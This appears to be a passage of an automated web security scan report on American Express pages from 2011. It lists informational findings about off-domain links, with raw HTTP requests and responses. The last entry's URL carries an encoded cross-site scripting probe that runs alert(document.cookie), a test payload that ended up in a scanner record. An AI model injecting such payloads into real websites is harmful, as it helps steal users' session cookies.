...[SNIP]...
<a href="http://home.americanexpress.com/home/mt_personal.shtml?us_nu=globalbar" class="iNav_USOpt_GBNav_Class" id="iNav_USOpt_GBNav_Home_Id" title="HOME"><img src="https://secure.americanexpress.com/navigation/shared/nav/images/clear.gif" class="iNav_USOpt_GBNavImg_Home" title="HOME" alt="HOME" id="iNav_USOpt_GBNavImg_Home_Id"></a>
</li>
<li>
<a href="https://www.americanexpress.com/cards" class="iNav_USOpt_GBNav_Class" id="iNav_USOpt_GBNav_Personal_Id" title="PERSONAL CARDS"><img src="https://secure.americanexpress.com/navigation/shared/nav/images/clear.gif" class="iNav_USOpt_GBNavImg_Personal" title="PERSONAL CARDS" alt="PERSONAL CARDS" id="iNav_USOpt_GBNavImg_Personal_Id"></a>
</li>
<li>
<a href="http://www.americanexpress.com/travel?us_nu=globalbar" class="iNav_USOpt_GBNav_Class" id="iNav_USOpt_GBNav_Travel_Id" title="TRAVEL"><img src="https://secure.americanexpress.com/navigation/shared/nav/images/clear.gif" class="iNav_USOpt_GBNavImg_Travel" title="TRAVEL" alt="TRAVEL" id="iNav_USOpt_GBNavImg_Travel_Id"></a>
</li>
<li>
<a href="http://www.americanexpress.com/smallbusiness?us_nu=globalbar" class="iNav_USOpt_GBNav_Class" id="iNav_USOpt_GBNav_SmallBusiness_Id" title="SMALL BUSINESS"><img src="https://secure.americanexpress.com/navigation/shared/nav/images/clear.gif" class="iNav_USOpt_GBNavImg_SmallBusiness" title="SMALL BUSINESS" alt="SMALL BUSINESS" id="iNav_USOpt_GBNavImg_SmallBusiness_Id"></a>
</li>
<li>
<a href="http://home.americanexpress.com/home/corporations.shtml?us_nu=globalbar" class="iNav_USOpt_GBNav_Class" id="iNav_USOpt_GBNav_Corporations_Id" title="CORPORATIONS"><img src="https://secure.americanexpress.com/navigation/shared/nav/images/clear.gif" class="iNav_USOpt_GBNavImg_Corporations" title="CORPORATIONS" alt="CORPORATIONS" id="iNav_USOpt_GBNavImg_Corporations_Id"></a>
</li>
<li>
<a href="https://www.americanexpress.com/merchant" class="iNav_USOpt_GBNav_Class" id="iNav_USOpt_GBNav_Merchants_Id" title="MERCHANTS"><img src="https://secure.americanexpress.com/navigation/shared/nav/images/clear.gif" class="iNav_USOpt_GBNavImg_Merchants" title="MERCHANTS" alt="MERCHANTS" id="iNav_USOpt_GBNavImg_Merchants_Id"></a>
...[SNIP]...
<div class="iNav_USOpt_helpNav" id="iNav_USOpt_helpNav_Id">
<a href="https://home.americanexpress.com/home/global_splash.html?us_nu=helpnav" id="iNav_USOpt_SiteHelp_Id_United States" class="firstElement" title="United States">United States</a><a href="https://home.americanexpress.com/home/global_splash.html?us_nu=helpnav" id="iNav_USOpt_SiteHelp_Id_Change Country" class="iNav_USOpt_Header_class" title="Change Country">Change Country</a>
...[SNIP]...
</a><a href="https://www212.americanexpress.com/dsmlive/dsm/int/contactus/personalcards.do?vgnextoid=c3d6c697b3bdc110VgnVCM100000defaad94RCRD&page=1" id="iNav_USOpt_SiteHelp_Id_Contact Us" class="iNav_USOpt_Header_class" title="Contact Us">Contact Us</a>
...[SNIP]...
<div class="iNav_USOpt_pgTitle" id="iNav_USOpt_pgTitle_Id">
<a href="https://www.americanexpress.com/gift/giftcardslanding.shtml" id="iNav_USOpt_Header_Id" class="iNav_USOpt_Header_class" title="GIFT CARDS"><img src="https://secure.americanexpress.com/navigation/shared/nav/images/clear.gif" title="GIFT CARDS" alt="GIFT CARDS" id="iNav_USOpt_HeaderImage_GiftCards_id" class="iNav_USOpt_HeaderImage_GiftCards_class"></a>
...[SNIP]...
<div id="iNav_USOpt_searchIcon">
<img src="https://secure.americanexpress.com/navigation/shared/nav/images/clear.gif" alt="Enter search text" title="Enter search text"></div>
...[SNIP]...
<a href="#" id="iNav_USOpt_srchButton" title="SEARCH"><img alt="SEARCH" title="SEARCH" id="iNav_USOpt_srchBtnImg" src="https://secure.americanexpress.com/navigation/shared/nav/images/clear.gif"></a>
...[SNIP]...
<li>
<a href="https://www99.americanexpress.com/myca/acctsumm/us/action?request_type=authreg_acctAccountSummary&us_nu=logincontrol" title="Cards -- Check and Pay Bill">Cards -- Check and Pay Bill</a>
...[SNIP]...
<li>
<a href="https://rewards.americanexpress.com/myca/loyalty/us/rewards/redirect/secureredirect?request_type=authreg_mr&Face=en_US&target=https://www.membershiprewards.com/myca/Process.aspx&intlink=Mrtopglobalnav" title="Membership Rewards ®">Membership Rewards ®</a>
...[SNIP]...
<li>
<a href="https://www209.americanexpress.com/merchant/marketing-data/secure/home" title="Merchant Toolkit">Merchant Toolkit</a>
...[SNIP]...
<li class="iNav_USOpt_hasSubMenu">
<a href="https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPBUS&selleracctnbr=6430098999I&cc=US&producttypecd=B1" id="BusinessGiftCards" title="Business Gift Cards">Business Gift Cards</a>
...[SNIP]...
<li>
<a href="https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPBUS&selleracctnbr=6430098999I&cc=US&producttypecd=B1" title="Classic">Classic</a>
...[SNIP]...
<li>
<a href="https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPBUS&selleracctnbr=6430098999I&cc=US&producttypecd=IA" title="United Way Charity">United Way Charity</a>
...[SNIP]...
<li>
<a href="https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACCUST&selleracctnbr=US001-108883" title="Customized">Customized</a>
...[SNIP]...
<li>
<a href="https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPBUS&selleracctnbr=6430098999I&cc=US&producttypecd=I7" title="Thank You">Thank You</a>
...[SNIP]...
<li>
<a href="https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPBUS&selleracctnbr=6430098999I&cc=US&producttypecd=IM" title="Say Thank You Marble Design">Say Thank You Marble Design</a>
...[SNIP]...
<li>
<a href="https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPBUS&selleracctnbr=6430098999I&cc=US&producttypecd=IN" title="Say Thanks a Million">Say Thanks a Million</a>
...[SNIP]...
<li>
<a href="https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPBUS&selleracctnbr=6430098999I&cc=US&producttypecd=I8" title="Congratulations">Congratulations</a>
...[SNIP]...
<li>
<a href="https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPBUS&selleracctnbr=6430098999I&cc=US&producttypecd=IP" title="Award Excellence">Award Excellence</a>
...[SNIP]...
<li>
<a href="https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPBUS&selleracctnbr=6430098999I&cc=US&producttypecd=IQ" title="Award Achievement">Award Achievement</a>
...[SNIP]...
<li>
<a href="https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPBUS&selleracctnbr=6430098999I&cc=US&producttypecd=IO" title="A Gift For You">A Gift For You</a>
...[SNIP]...
<li>
<a href="https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPBUS&selleracctnbr=6430098999I&cc=US&producttypecd=IL" title="Prepaid Employee Spend">Prepaid Employee Spend</a>
...[SNIP]...
<li>
<a href="https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPBUS&selleracctnbr=6430098999I&cc=US&producttypecd=IK" title="Felicidades (Best Wishes)">Felicidades (Best Wishes)</a>
...[SNIP]...
<li>
<a href="https://americanexpress-businesslogo.itsmyca.com" title="Business Logo">Business Logo</a>
...[SNIP]...
<li>
<a href="https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/personal/cardmember/additionalproductsandservices/giftcardsandtravelerscheques/viewallgiftcards.do?vgnextoid=cc2b19519bec4210VgnVCM100000defaad94RCRD" title="Special Occasion Gift Cards">Special Occasion Gift Cards</a>
...[SNIP]...
<li>
<a href="https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/personal/cardmember/additionalproductsandservices/giftcardsandtravelerscheques/viewallgiftcards.do?vgnextoid=cc2b19519bec4210VgnVCM100000defaad94RCRD" title="View All Cards">View All Cards</a>
...[SNIP]...
<li class="iNav_USOpt_hasSubMenu">
<a href="https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPWEB&selleracctnbr=6430098999I&cc=US" id="PersonalGiftCards" title="Personal Gift Cards">Personal Gift Cards</a>
...[SNIP]...
<li>
<a href="https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPWEB&selleracctnbr=6430098999I&cc=US" title="Classic">Classic</a>
...[SNIP]...
<li>
<a href="https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPWEB&selleracctnbr=6430098999I&cc=US&producttypecd=IA" title="United Way Charity">United Way Charity</a>
...[SNIP]...
<li>
<a href="https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderShipping&promotion=AG01&program=AGCWEB&selleracctnbr=US001-5858&producttypecd=AG" title="Personalized">Personalized</a>
...[SNIP]...
<li>
<a href="https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACTPER&selleracctnbr=US001-108883" title="Photo Gift Card">Photo Gift Card</a>
...[SNIP]...
<li>
<a href="https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPWEB&selleracctnbr=6430098999I&cc=US&producttypecd=I7" title="Thank You">Thank You</a>
...[SNIP]...
<li>
<a href="https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPWEB&selleracctnbr=6430098999I&cc=US&producttypecd=I8" title="Congratulations">Congratulations</a>
...[SNIP]...
<li>
<a href="https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPWEB&selleracctnbr=6430098999I&cc=US&producttypecd=ID" title="Peter Max <b>- Limited Edition</b>">Peter Max <b>
...[SNIP]...
<li>
<a href="https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPWEB&selleracctnbr=6430098999I&cc=US&producttypecd=IF" title="Have a Blast">Have a Blast</a>
...[SNIP]...
<li>
<a href="https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPWEB&selleracctnbr=6430098999I&cc=US&producttypecd=IH" title="Your Own Message Gift Card">Your Own Message Gift Card</a>
...[SNIP]...
<li>
<a href="https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPWEB&selleracctnbr=6430098999I&cc=US&producttypecd=IK" title="Felicidades (Best Wishes)">Felicidades (Best Wishes)</a>
...[SNIP]...
<li>
<a href="https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPWEB&selleracctnbr=6430098999I&cc=US&producttypecd=I4" title="Dining">Dining</a>
</li>
<li>
<a href="https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPWEB&selleracctnbr=6430098999I&cc=US&producttypecd=I1" title="Birthday">Birthday</a>
...[SNIP]...
<li>
<a href="https://www232.americanexpress.com/BOLWeb/bolfeOrder.do?request_type=orderProduct&promotion=ACP&program=ACPWEB&selleracctnbr=6430098999I&cc=US&producttypecd=I2" title="Teens">Teens</a>
</li>
<li>
<a href="https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/personal/cardmember/additionalproductsandservices/giftcardsandtravelerscheques/viewallgiftcards.do?vgnextoid=cc2b19519bec4210VgnVCM100000defaad94RCRD#Consumer" title="Special Occasion Gift Cards">Special Occasion Gift Cards</a>
...[SNIP]...
<li>
<a href="https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/personal/cardmember/additionalproductsandservices/giftcardsandtravelerscheques/viewallgiftcards.do?vgnextoid=cc2b19519bec4210VgnVCM100000defaad94RCRD#Consumer" title="View All Cards">View All Cards</a>
...[SNIP]...
<li>
<a href="https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/personal/cardmember/additionalproductsandservices/giftcardsandtravelerscheques/recipientpage.do?vgnextoid=d8a9f8025c1e4210VgnVCM200000d0faad94RCRD&intlink=GC:HmPg:RP" id="CheckYourBalance" title="Received a Gift Card">Received a Gift Card</a>
...[SNIP]...
<br>Some restrictions on merchant acceptance will apply to the Gift Card. See<a href="https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/personal/cardmember/additionalproductsandservices/giftcardsandtravelerscheques/amexgiftcard_cardholderagreement.do?vgnextoid=2d49e6e93492a110VgnVCM200000d0faad94RCRD&vgnextchannel=95ddb81e8482a110VgnVCM100000defaad94RCRD" target="_blank">Terms and Conditions</a>
...[SNIP]...
<br><a target="_blank" href="https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/personal/cardmember/additionalproductsandservices/giftcardsandtravelerscheques/targettc.do?vgnextoid=ae82c492e72f1210VgnVCM100000defaad94RCRD&vgnextchannel=95ddb81e8482a110VgnVCM100000defaad94RCRD&appInstanceName=default" >Target American Express Terms and Conditions</a>
...[SNIP]...
<br><a target="_blank" href="https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/personal/cardmember/additionalproductsandservices/giftcardsandtravelerscheques/statelicensing1.do?vgnextoid=494ec2602565b110VgnVCM100000defaad94RCRD&vgnextchannel=95ddb81e8482a110VgnVCM100000defaad94RCRD&appinstancename=default" >State Licenses</a>
...[SNIP]...

<link rel="stylesheet" href="https://secure.americanexpress.com/navigation/shared/nav/iNav_fatfooter.css" type="text/css" media="all" />
<div id="iNav_USOpt_Footer">
...[SNIP]...
<li><a href="https://www.americanexpress.com/gift/giftcardslanding.shtml?source=footer_gift cards" title="Gift Cards">Gift Cards</a>
...[SNIP]...
<li><a href="https://www152.americanexpress.com/premium/credit-card-travel-insurance/home.do?source=footer_prem_services" title="Travel Protection">Travel Protection</a>
...[SNIP]...
<li><a href="https://www134.americanexpress.com/consumertravel/travel.do?source=footer_booktravel" title="Book a Trip">Book a Trip</a>
...[SNIP]...
<li><a href="https://www.americanexpress.com/airlines-credit-card/?source=footer_airline_credit_cards" title="Airlines Credit Cards">Airlines Credit Cards</a>
...[SNIP]...
<li><a href="https://www.americanexpress.com/credit-card-rewards/?source=footer_credit_card_rewards" title="Credit Card Rewards">Credit Card Rewards</a>
...[SNIP]...
<li><a href="https://www.americanexpress.com/no-annual-fee-credit-cards/?source=footer_noannual_credit_cards" title="No Annual Fee Credit Cards">No Annual Fee Credit Cards</a>
...[SNIP]...
<li><a href="https://www.americanexpress.com/gold-card/?source=footer_gold_card" title="Gold Cards">Gold Cards</a>
...[SNIP]...
<li><a href="https://www212.americanexpress.com/dsmlive/dsm/OnlineSelf-Services/ConsumerLanding.do?vgnextoid=7512db7ad9220210VgnVCM100000defaad94RCRD&source=footer_resources_for_cardmembers" title="Resources for Cardmembers">Resources for Cardmembers</a>
...[SNIP]...
<li><a href="https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/fraudprotectioncenter/fraudprotectioncenter_homepage.do?vgnextoid=2621c0f7c5a4c110VgnVCM100000defaad94RCRD&vgnextchannel=9ee6d6954360c110VgnVCM100000defaad94RCRD&appinstancename=default&source=footer_fraud_protection_center" title="Fraud Protection Center">Fraud Protection Center</a>
...[SNIP]...
<li><a href="https://www213.americanexpress.com/PowerLabsWeb/un/landingpage.htm?source=footer_AmexLabs" title="Amex Labs">Amex Labs</a>
...[SNIP]...
<li><a href="https://www201.americanexpress.com/MobileWeb/index.jsp?source=footer_mobile" title="Mobile Services and Apps">Mobile Services and Apps</a>
...[SNIP]...
<li><a href="https://www.americanexpress.com/affiliate?source=footer_affiliates" title="Affiliate Program">Affiliate Program</a>
...[SNIP]...
<li><a href="https://www212.americanexpress.com/dsmlive/dsm/int/contactus/personalcards.do?vgnextoid=c3d6c697b3bdc110VgnVCM100000defaad94RCRD&page=1&source=footer_contact_us" title="Contact Us">Contact Us</a>
...[SNIP]...
<a href="http://www.facebook.com/americanexpress" title="Facebook - Link will open in a new window"><img src="https://secure.americanexpress.com/navigation/shared/nav/images/clear.gif" alt="Facebook - Link will open in a new window" title="Facebook - Link will open in a new window" class="iNavIcoFaceBook" /></a>
...[SNIP]...
<a href="http://www.twitter.com/americanexpress" title="Twitter - Link will open in a new window"><img src="https://secure.americanexpress.com/navigation/shared/nav/images/clear.gif" alt="Twitter - Link will open in a new window" title="Twitter - Link will open in a new window" class="iNavIcoTwitter" /></a>
...[SNIP]...
<a href="http://www.youtube.com/americanexpress" title="YouTube - Link will open in a new window"><img src="https://secure.americanexpress.com/navigation/shared/nav/images/clear.gif" alt="YouTube - Link will open in a new window" title="YouTube - Link will open in a new window" class="iNavIcoYouTube" /></a>
...[SNIP]...
<li><a href="https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/privacystatement/internetprivacystatement.do?vgnextoid=f25533fadb4ca110VgnVCM100000defaad94RCRD&vgnextchannel=9823f30b6b1ca110VgnVCM100000defaad94RCRD&us_nu=footer&source=footer_privacy_statement" title="Privacy Statement">Privacy Statement</a>
...[SNIP]...
<li class="iNavLast"><a href="https://www212.americanexpress.com/dsmlive/dsm/int/us/en/cmaproductspage.do?vgnextoid=bbf185df62df5210VgnVCM100000defaad94RCRD&source=footer_card_agreements" title="Card Agreements">Card Agreements</a>
...[SNIP]...
</div>
<script type="text/javascript" src="https://secure.americanexpress.com/navigation/shared/nav/USOpt_Nav_timeout.js"></script>
...[SNIP]...

20.172. https://www.americanexpress.com/airlines-credit-card/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.americanexpress.com
Path:	/airlines-credit-card/

Issue detail

The page was loaded from a URL containing a query string:

https://www.americanexpress.com/airlines-credit-card/?source=footer_airline_credit_cards

The response contains the following links to other domains:

https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal
https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum

Request

GET /airlines-credit-card/?source=footer_airline_credit_cards HTTP/1.1
Host: www.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:53:03 GMT
Server: IBM_HTTP_Server
Set-Cookie: SaneID=173.193.214.243-1296942783674444; path=/; expires=Tue, 09-Feb-16 21:53:03 GMT; domain=.americanexpress.com
Accept-Ranges: bytes
Cache-Control: max-age=-11633205
Expires: Fri, 24 Sep 2010 06:26:18 GMT
Connection: close
Content-Type: text/html
Content-Length: 33688

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content
...[SNIP]...
<li>
<a title="" href="https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal" id="menu_myacct_giftcardbal">Gift Card Balance</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum" id="menu_business_openforum">OPEN Forum</a>
...[SNIP]...

20.173. https://www.americanexpress.com/credit-card-rewards/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.americanexpress.com
Path:	/credit-card-rewards/

Issue detail

The page was loaded from a URL containing a query string:

https://www.americanexpress.com/credit-card-rewards/?source=footer_credit_card_rewards

The response contains the following links to other domains:

https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal
https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum

Request

GET /credit-card-rewards/?source=footer_credit_card_rewards HTTP/1.1
Host: www.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:53:05 GMT
Server: IBM_HTTP_Server
Set-Cookie: SaneID=173.193.214.243-1296942785149994; path=/; expires=Tue, 09-Feb-16 21:53:05 GMT; domain=.americanexpress.com
Accept-Ranges: bytes
Cache-Control: max-age=-11633133
Expires: Fri, 24 Sep 2010 06:27:32 GMT
Connection: close
Content-Type: text/html
Content-Length: 34269

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content
...[SNIP]...
<li>
<a title="" href="https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal" id="menu_myacct_giftcardbal">Gift Card Balance</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum" id="menu_business_openforum">OPEN Forum</a>
...[SNIP]...

20.174. https://www.americanexpress.com/gift/giftcardslanding.shtml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.americanexpress.com
Path:	/gift/giftcardslanding.shtml

Issue detail

The page was loaded from a URL containing a query string:

https://www.americanexpress.com/gift/giftcardslanding.shtml?inav=menu_cards_giftcards

The response contains the following links to other domains:

https://ad.doubleclick.net/activity;src=1910047;type=giftc776;cat=giftc776;ord=1;num=1?
https://americanexpress-businesslogo.itsmyca.com/entry/axpgpp_bl.aspx?VisitRef=BOLsiteSmallPerm
https://americanexpress-businesslogo.itsmyca.com/entry/axpgpp_bl.aspx?inav=giftcard_biz_logo
https://fls.doubleclick.net/activityi;src=1293907;type=newgi287;cat=newgi493;ord=1;num=1?
https://pixel.mathtag.com/event/js?mt_id=10067&v1=&v2=&v3=&s1=&s2=&s3=
https://secure.aperture.displaymarketplace.com/audmeasure.gif?liveconclientID=4045860080196&PageID=22101&EventType=view&rand=' + random + '
https://survey.openvenue.com/cs/209903356/intUnder1.js
https://www.adelixir.com/NeROITrack/835/?busassid=835
https://www.adelixir.com/WebPages/scripts/Ne_ROI_Tracking.js
https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal
https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum
https://xedge.aperture.displaymarketplace.com/displayscript.js?liveconclientID=4045860080196&PageID=22101&EventType=View&rand=' + random + '

Request

GET /gift/giftcardslanding.shtml?inav=menu_cards_giftcards HTTP/1.1
Host: www.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:52:58 GMT
Server: IBM_HTTP_Server
Set-Cookie: SaneID=173.193.214.243-1296942778252107; path=/; expires=Tue, 09-Feb-16 21:52:58 GMT; domain=.americanexpress.com
Accept-Ranges: bytes
Cache-Control: max-age=-485926
Expires: Mon, 31 Jan 2011 06:54:12 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 64996

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
   <head>

...[SNIP]...
<li>
<a title="" href="https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal" id="menu_myacct_giftcardbal">Gift Card Balance</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum" id="menu_business_openforum">OPEN Forum</a>
...[SNIP]...
<li>
<a title="" href="https://americanexpress-businesslogo.itsmyca.com/entry/axpgpp_bl.aspx?inav=giftcard_biz_logo" id="giftcard_biz_logo">Business Logo</a>
...[SNIP]...
<noscript>
   <iframe src="https://fls.doubleclick.net/activityi;src=1293907;type=newgi287;cat=newgi493;ord=1;num=1?" width="1" height="1" frameborder="0"></iframe>
...[SNIP]...
</script>

<script src="https://survey.openvenue.com/cs/209903356/intUnder1.js"></script>
...[SNIP]...
</a>
<a class="mod_3" href="https://americanexpress-businesslogo.itsmyca.com/entry/axpgpp_bl.aspx?VisitRef=BOLsiteSmallPerm">
<span class="label2">
...[SNIP]...

<script src='https://www.adelixir.com/WebPages/scripts/Ne_ROI_Tracking.js' type='text/javascript'>
</script>
...[SNIP]...
<noscript>
<img height='1' width='1' border='0' src='https://www.adelixir.com/NeROITrack/835/?busassid=835' />
</noscript>
...[SNIP]...
<NOSCRIPT>
<IMG SRC="https://ad.doubleclick.net/activity;src=1910047;type=giftc776;cat=giftc776;ord=1;num=1?" WIDTH=1 HEIGHT=1 BORDER=0 ALT=""/>
</NOSCRIPT>
...[SNIP]...


<script type='text/javascript' src='https://pixel.mathtag.com/event/js?mt_id=10067&v1=&v2=&v3=&s1=&s2=&s3='></script>
...[SNIP]...
</script>

<script language="JavaScript" src="https://xedge.aperture.displaymarketplace.com/displayscript.js?liveconclientID=4045860080196&PageID=22101&EventType=View&rand=' + random + '">
</script>
<noscript>

<img src="https://secure.aperture.displaymarketplace.com/audmeasure.gif?liveconclientID=4045860080196&PageID=22101&EventType=view&rand=' + random + '" height="1" width="1" border="0"/>
</noscript>
...[SNIP]...

20.175. https://www.americanexpress.com/gold-card/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.americanexpress.com
Path:	/gold-card/

Issue detail

The page was loaded from a URL containing a query string:

https://www.americanexpress.com/gold-card/?source=footer_gold_card

The response contains the following links to other domains:

https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal
https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum

Request

GET /gold-card/?source=footer_gold_card HTTP/1.1
Host: www.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:53:09 GMT
Server: IBM_HTTP_Server
Set-Cookie: SaneID=173.193.214.243-1296942789187241; path=/; expires=Tue, 09-Feb-16 21:53:09 GMT; domain=.americanexpress.com
Accept-Ranges: bytes
Cache-Control: max-age=-11633126
Expires: Fri, 24 Sep 2010 06:27:43 GMT
Connection: close
Content-Type: text/html
Content-Length: 33640

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content
...[SNIP]...
<li>
<a title="" href="https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal" id="menu_myacct_giftcardbal">Gift Card Balance</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum" id="menu_business_openforum">OPEN Forum</a>
...[SNIP]...

20.176. https://www.americanexpress.com/no-annual-fee-credit-cards/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.americanexpress.com
Path:	/no-annual-fee-credit-cards/

Issue detail

The page was loaded from a URL containing a query string:

https://www.americanexpress.com/no-annual-fee-credit-cards/?source=footer_noannual_credit_cards

The response contains the following links to other domains:

https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal
https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum

Request

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:53:06 GMT
Server: IBM_HTTP_Server
Set-Cookie: SaneID=173.193.214.243-1296942786051814; path=/; expires=Tue, 09-Feb-16 21:53:06 GMT; domain=.americanexpress.com
Accept-Ranges: bytes
Cache-Control: max-age=-11633113
Expires: Fri, 24 Sep 2010 06:27:53 GMT
Connection: close
Content-Type: text/html
Content-Length: 33670

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content
...[SNIP]...
<li>
<a title="" href="https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal" id="menu_myacct_giftcardbal">Gift Card Balance</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum" id="menu_business_openforum">OPEN Forum</a>
...[SNIP]...

20.177. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The page was loaded from a URL containing a query string:

http://www.au2m8.com/v/?ps=26&cw=26263&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1

The response contains the following links to other domains:

http://videos.video-loader.com/_year2011/11559/bigcatch.jpg
http://videos.video-loader.com/au2m8/light-verysmall-player.gif

Request

